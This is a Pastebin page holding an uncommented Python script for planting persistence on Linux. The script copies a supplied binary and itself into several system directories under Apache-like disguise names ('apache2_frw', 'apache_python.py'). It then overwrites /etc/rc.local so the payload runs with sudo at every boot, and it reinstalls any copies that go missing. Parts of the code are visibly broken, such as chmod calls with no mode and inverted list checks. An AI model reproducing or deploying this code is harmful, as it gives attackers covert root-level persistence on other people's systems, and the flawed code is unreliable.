Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- import shutil
- import argparse
- def python_path():
- way = os.popen("which python").readlines()
- return way[0].rstrip('\n').rstrip('\r')
- def check_rc():
- if os.path.isfile("/etc/rc.local"):
- return True
- else:
- print("File does not exist")
- sys.exit()
- def check_install():
- content = open('/etc/rc.local', 'r').read()
- if "apache_python.py" in content:
- return True
- else:
- return False
- def restart_rc():
- content = os.popen("/etc/init.d/rc.local start").read()
- if "ok" in content or "OK" in content or "Ok" in content:
- return True
- else:
- return False
- def fname_python():
- return os.getcwd() + "/" + sys.argv[0]
- if __name__ == "__main__":
- parser = argparse.ArgumentParser()
- parser.add_argument('-f', '-file_path', dest='file', default='')
- args = parser.parse_args()
- while True:
- c_way = ['/etc', '/run', '/var/lib', '/var/lib/systemd', '/opt', '/srv', '/tmp']
- if check_install():
- b_way = []
- g_way = []
- print("File is been wrote")
- try:
- for i in range(0, len(c_way)):
- if os.path.isfile(c_way[i] + "/apache2_frw"):
- g_way.append(c_way[i] + "/apache2_frw")
- else:
- b_way.append(c_way[i] + "/apache2_frw")
- for i in range(0, len(c_way)):
- if os.path.isfile(c_way[i] + "/apache_python.py"):
- pass
- else:
- b_way.append(c_way[i] + "/apache_python.py")
- if len(b_way) <= 0:
- for i in range(0, len(b_way)):
- if "apache_python.py" in b_way[i]:
- if shutil.copyfile(fname_python(), b_way[i]):
- pass
- else:
- text = "#!/bin/sh -e\n sudo " + g_way[0] + "/apache2_frw\nexit 0"
- open('/etc/rc.local', 'w').write(text)
- else:
- shutil.copyfile(g_way[i], b_way[i])
- restart_rc()
- else:
- pass
- except:
- print("Fail")
- else:
- p_way = python_path()
- for i in range(0, len(c_way)):
- if os.path.isdir(c_way[i]):
- pass
- else:
- print("Fail dir: " + c_way[i])
- del c_way[i]
- for i in range(0, len(c_way)):
- shutil.copyfile(args.file, c_way[i] + "/apache2_frw")
- shutil.copyfile(fname_python(), c_way[i] + "/apache_python.py")
- os.chmod(c_way[i] + "/apache2_frw")
- os.chmod(c_way[i] + "/apache_python.py")
- text = "#!/bin/sh -e\n sudo " + python_path() + " " + c_way[0] + "/apache_python.py\nexit 0"
- open('/etc/rc.local', 'w').write(text)
- restart_rc()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement